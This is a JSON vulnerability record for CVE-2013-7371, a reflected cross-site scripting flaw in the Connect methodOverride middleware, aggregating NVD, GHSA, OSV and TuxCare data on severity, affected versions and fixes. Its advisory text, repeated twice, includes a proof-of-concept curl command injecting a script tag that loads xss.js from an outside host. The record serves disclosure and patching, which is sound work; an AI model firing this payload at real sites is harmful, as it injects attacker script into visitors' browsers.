{"id":"CVE-2013-7371","aliases":["CLSA-2026-1792476098","CLSA-2026-1792508732","EUVD-2022-2867","GHSA-6w62-83g6-rfhj","UBUNTU-CVE-2013-7371"],"status":"published","title":"Node Connect Reflected Cross-Site Scripting in Sencha Labs Connect middleware","description":"node-connects before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-09","score":0.01435,"percentile":0.73287,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2019-12-11T14:04:00Z","modified":"2026-10-20T19:30:17Z","fixes":[{"ecosystem":"npm","package":"connect","fixed_in":["2.8.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"connect","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.2"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"connect","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.11-tuxcare.0"},{"fixed":"2.7.11-tuxcare.1"}]}],"versions":["2.7.11"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"connect","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.10-tuxcare.0"},{"fixed":"2.7.10-tuxcare.1"}]}],"versions":["2.7.10"],"bundled":3},{"source":"osv","ecosystem":"npm","package":"connect","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.8.2"}]}]}],"products":[{"vendor":"debian","product":"debian_linux"},{"vendor":"node-connect","product":"node-connect"},{"vendor":"sencha","product":"connect"}],"references":[{"url":"https://nodesecurity.io/advisories/methodOverride_Middleware_Reflected_Cross-Site_Scripting","tags":["x_refsource_MISC","x_transferred","Broken Link","Third Party Advisory","web"]},{"url":"http://www.openwall.com/lists/oss-security/2014/05/13/1","tags":["x_refsource_MISC","x_transferred","Mailing List","Third Party Advisory","web"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2013-7371","tags":["x_refsource_MISC","x_transferred","Third Party Advisory","web"]},{"url":"https://access.redhat.com/security/cve/cve-2013-7371","tags":["x_refsource_MISC","x_transferred","Broken Link","Third Party Advisory","web"]},{"url":"http://www.openwall.com/lists/oss-security/2014/04/21/2","tags":["x_refsource_MISC","x_transferred","Mailing List","Patch","Third Party Advisory","web"]},{"url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/92710","tags":["x_refsource_MISC","x_transferred","Third Party Advisory","VDB Entry","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2013-7371","tags":["advisory"]},{"url":"https://github.com/senchalabs/connect/issues/831","tags":["web"]},{"url":"https://github.com/senchalabs/connect/commit/126187c4e12162e231b87350740045e5bb06e93a","tags":["web"]},{"url":"https://github.com/senchalabs/connect/commit/277e5aad6a95d00f55571a9a0e11f2fa190d8135","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6w62-83g6-rfhj"},{"url":"https://github.com/senchalabs/connect","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2013-7371","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2013-7371","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2013-7371","description":"node-connects before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)","status":"published","published":"2019-12-11T14:04:00Z","modified":"2024-08-06T18:01:20.475Z","updated_at":"2026-11-02T14:34:59.222149Z"}],"euvd":[{"id":"EUVD-2022-2867","description":"node-connects before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)","status":"published","published":"2019-12-11T14:04:00Z","modified":"2024-08-06T18:01:20Z","updated_at":"2026-11-03T01:56:23.526026Z"}],"ghsa":[{"id":"GHSA-6w62-83g6-rfhj","title":"Node Connect Reflected Cross-Site Scripting in Sencha Labs Connect middleware","description":"node-connect before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)\n\n### Overview\nConnect is a stack of middleware that is executed in order in each request.\n\nThe \"methodOverride\" middleware allows the http post to override the method of the request with the value of the \"_method\" post key or with the header \"x-http-method-override\".\n\nBecause the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the \"Cannot `[method]` `[url]`\" content. The method was not properly encoded for output in the browser.\n\n\n### Example:\n```\n~ curl \"localhost:3000\" -d \"_method=\u003cscript src=http://nodesecurity.io/xss.js\u003e\u003c/script\u003e\"\nCannot \u003cSCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS\u003e\u003c/SCRIPT\u003e /\n```\n\n### Recommendation\n\nUpdate to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.\n\n### Credit:\nSergio Arcos","status":"published","published":"2022-05-05T00:29:11Z","modified":"2023-08-17T22:50:29Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:37:00.074932Z"}],"nvd":[{"id":"CVE-2013-7371","description":"node-connects before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)","status":"published","published":"2019-12-11T15:15:13.667Z","modified":"2026-06-17T00:01:50.913Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"},{"version":"2.0","score":4.3,"vector":"AV:N/AC:M/Au:N/C:N/I:P/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:02:52.545039Z"}],"osv":[{"id":"GHSA-6w62-83g6-rfhj","title":"Node Connect Reflected Cross-Site Scripting in Sencha Labs Connect middleware","description":"node-connect before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)\n\n### Overview\nConnect is a stack of middleware that is executed in order in each request.\n\nThe \"methodOverride\" middleware allows the http post to override the method of the request with the value of the \"_method\" post key or with the header \"x-http-method-override\".\n\nBecause the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the \"Cannot `[method]` `[url]`\" content. The method was not properly encoded for output in the browser.\n\n\n### Example:\n```\n~ curl \"localhost:3000\" -d \"_method=\u003cscript src=http://nodesecurity.io/xss.js\u003e\u003c/script\u003e\"\nCannot \u003cSCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS\u003e\u003c/SCRIPT\u003e /\n```\n\n### Recommendation\n\nUpdate to the newest version of Connect or disable methodOverride. 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Fixed in 2.7.11-tuxcare.1.","status":"published","published":"2026-10-20T06:01:38Z","modified":"2026-10-20T07:15:09.274822926Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792508732","title":"TuxCare security update for connect (3 CVEs)","description":"TuxCare rebuilt connect to address 3 CVEs. Fixed in 2.7.10-tuxcare.1.","status":"published","published":"2026-10-20T15:05:32Z","modified":"2026-10-20T19:30:17.282164514Z","updated_at":"2026-11-02T15:43:54.378946Z"}]}}